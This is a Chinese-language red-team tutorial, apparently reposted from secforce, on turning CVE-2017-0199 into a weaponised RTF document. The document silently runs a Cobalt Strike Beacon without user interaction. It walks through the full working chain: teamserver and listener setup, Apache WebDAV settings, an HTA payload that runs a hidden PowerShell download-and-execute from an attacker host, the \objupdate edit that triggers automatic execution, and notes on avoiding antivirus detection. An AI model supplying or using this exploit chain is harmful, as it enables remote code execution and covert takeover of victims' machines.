在本文中,我们将解释创建一个有效的概念RTF文件的基础过程,该文件将执行Cobalt Strike Beacon有效载荷,而不需要用户交互,也不需要终端弹出窗口,因为这可以证明在Red Team中非常有用。
请在下面简要介绍相关步骤:
- Cobalt Strike 服务器将与侦听信标一起设置,以便在受害计算机(在此实例Windows 8.1中实时启动Windows Defender)时,从信标有效载荷接收连接。
- 将创建一个名为 exploit.rtf 文件的RTF ,指向一个名为 CVE-2017-0199_POC 的第二个RTF文件的OLE对象(该文件将只有一些POC文本)。
- 一旦 exploit.rtf 与 CVE-2017-0199_POC RTF文档链接,该文件将被连接到使用的payload
- 该 exploit.rtf
- 无需用户交互自动执行HTA进行修改。
Cobalt Strike设置和生成payload
为了能够从执行的payload接收连接,需要以下步骤:
使用以下命令启动Cobalt Strike Team Server:
./teamserver x.x.x.x password
使用该命令,运行默认5050端口上的Cobal Strike Team Server。为了能够连接到服务器(使用与上一个命令设置的密码),您将需要启动客户端:
java -jar cobaltstrike.jar
客户端GUI启动后,让我们创建一个监听,从” Cobalt Strike 菜单点击“ Listeners :
Cobalt Strike -> Listeners
然后填写所需的信息,如名称,有效载荷,主机和端口,然后单击 添加 。 从我们的场景中的以下图像可以看出,使用了一个在端口4444上侦听本地IP地址的 windows / beacon_http / reverse_http 有效载荷:
单击 保存 以存储设置。 继续输入您将使用的IP地址或任何解析的域名:
在此阶段,可以添加任何解析为之前设置的IP地址的域。
一旦你点击 确定 ‘开始的监听器’将看起来像下面的截图:
一旦监听器启动,我们将需要生成在受害机器上执行的有效载荷。从 Attacks -> Web Drive-by菜单中单击“Scripted Web Delivery”,如下图所示:
一旦弹出“ Scripted Web Delivery ”窗口,就会填写所需的参数。您可以修改它们以满足您的需求:
为了使脚本有效点击 Launch :
这将在我们的主机上放一个名为“evil”的Powershell脚本,该脚本将在运行上一图像所示命令的受害计算机上执行:
powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”
总结:
- 端口4444上的监听器已创建
- 创建了一个反向连接指向我们的侦听器的信标有效载荷
利用环境设置
在本节中,我们将介绍第2步和第3步(请参考简介),以便将漏洞利用的环境设置为有效并且不需要用户交互。
RTF OLE链接
我们需要执行的第一步是创建 CVE-2017-0199_POC RTF文档,该文档将是一个具有任意内容的简单RTF文件。在我们的情景中,它将包括一个POC文本,如下图所示:
创建一个带有POC文本的简单RTF
创建文件后,为方便起见,将其复制到本地安装的Kali,因为我们需要为OLE链接过程准备好文件,这将在后续步骤中解释。 为了文件 CVE-2017-0199_POC 被链接,我们将需要使用Apache服务,而这需要一些调整才能有效。
# mkdir /var/www/html/word/
# cp CVE-2017-0199_POC.rtf /var/www/html/word/
这将将以前创建的文档复制到Apache的目录中,以便将文档提供给HTTP OLE链接。 OLE链接过程将涉及到由服务器发送的PROPFIND请求,从而有必要使WebDav启用:
# a2enmod dav
# a2enmod dav_fs
# a2enmod dav_lock
# a2enmod headers
如果一切顺利,您可以继续编辑apache2.conf,以指示Apache有效地为RFT文件提供服务。 为此,请使用文本编辑器编辑 /etc/apache2/apache2.conf 文件,并在文件末尾添加以下行:
<Directory /var/www/html/word/>
Header set Content-Type “application/rtf”
</Directory>
<Directory>
Dav on
</Directory>
要使更改生效,请重新启动Apache Web服务器:
#service apache2 restart
一旦Apache重新启动,我们可以通过几个简单的步骤继续进行链接过程:
- 用Word创建一个名为exploit.rtf的RTF文件
- 从“插入”菜单中单击“对象”,并将HTTP链接放入CVE-2017-0199_POC文档中,并勾选“链接到文件”选项,如下图所示
单击 确定 并保存文件。然后,文件将在“exploit”会话中进行修改,以便在没有任何用户交互的情况下触发有效载荷执行。
HTA payload创建
我们现在需要生成一个HTA有效载荷,或者简单地放置一个由负责执行这些类型文件的Microsoft mshta 代理执行的代码。
我们将修改HTA以下部分,以执行我们的有效载荷:
<html>
<head>
<script>var c= 'command' new ActiveXObject('WScript.Shell').Run(c);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
要做到这一点,第一步是用我们要在受害机器上执行的Powershell命令替换’command’。
如前所述,命令如下:
powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”
所以修改后的内容现在将显示为:
<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
看起来似乎都很好,但是如果我们尝试执行这个HTA,它会弹出一个powershell/命令提示符窗口,但是我们希望尽可能的隐身。通过进一步研究,我们发现将 Run(c) 字符串修改为 Run(c,0) 将导致我们的命令在没有任何命令提示符/ powershell弹出窗口的情况下被执行。 所以最终的HTA有效载荷将如下:
<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
现在需要用这个新创建的HTA有效载荷替换“ /var/www/html/word/CVE-2017-0199_POC.rtf ”文档。
可以使用以下命令:
将HTA有效载荷保存为/var/www/html/word/payload.hta
# cp /var/www/html/word/payload.hta /var/www/html/word/ CVE-2017-0199_POC.rtf
为了使此更改生效并触发有效载荷执行,我们将需要指示Apache将此文件作为RTF解析,而不是作为HTA。 要做到这一点,只需将 Content type 从“ application/rtf ”更改为“ application/hta”,即可将其更改为以前编辑的/etc/apache2/apache2.conf,然后重新启动apache web服务器。
总结:
- exploit.rtf和CVE-2017-0199_POC.rtf 之间的OLE链接已创建
- 将创建一个将执行Beacon有效负载的HTA,并将其替换为原始的 CVE-2017-0199_POC.rtf
- Apache Web服务器被修改为将 /var/html/www/word 目录中的任何RTF文件为HTA提供服务,以便执行HTA有效载荷
开发
为了使有效载荷即使没有用户交互也可以执行成功,,我们将需要修改以前创建的 exploit.rtf文件。 我们将添加的参数是“objupdate”,顾名思义,当打开恶意 exploit.rtf 时,将触发自动更新/执行链接文件。 为了应用此更改将需要以下命令:
sed -ie ‘s/objautlink/objautlink\\objupdate/g’ exploit.rtf
exploit.rtf现在可以发送,它将触发一个Beacon有效载荷,无需任何用户交互即可执行终端,您可以从以下截图和POC视频中看到
exploit.rtf被打开,并且不需要用户交互来触发有效负载来执行
我们的监听程序已经成功收到了一个反向HTTP连接:
杀软警告
在我们的实验室环境中,我们在Windows 8.1实例上执行有效负载,启用Windows Defender实时保护。使用Windows Defender,该文件未被标记为恶意软件。 但是,我们还在安装了卡巴斯基的Small Office Security的Windows 7 SP1实例上尝试了该文件。在这种环境下,卡巴斯基将我们的文件标记为恶意文件,并阻止有效载荷执行。
*参考来源: secforce ,转载请注明来自MottoIN
|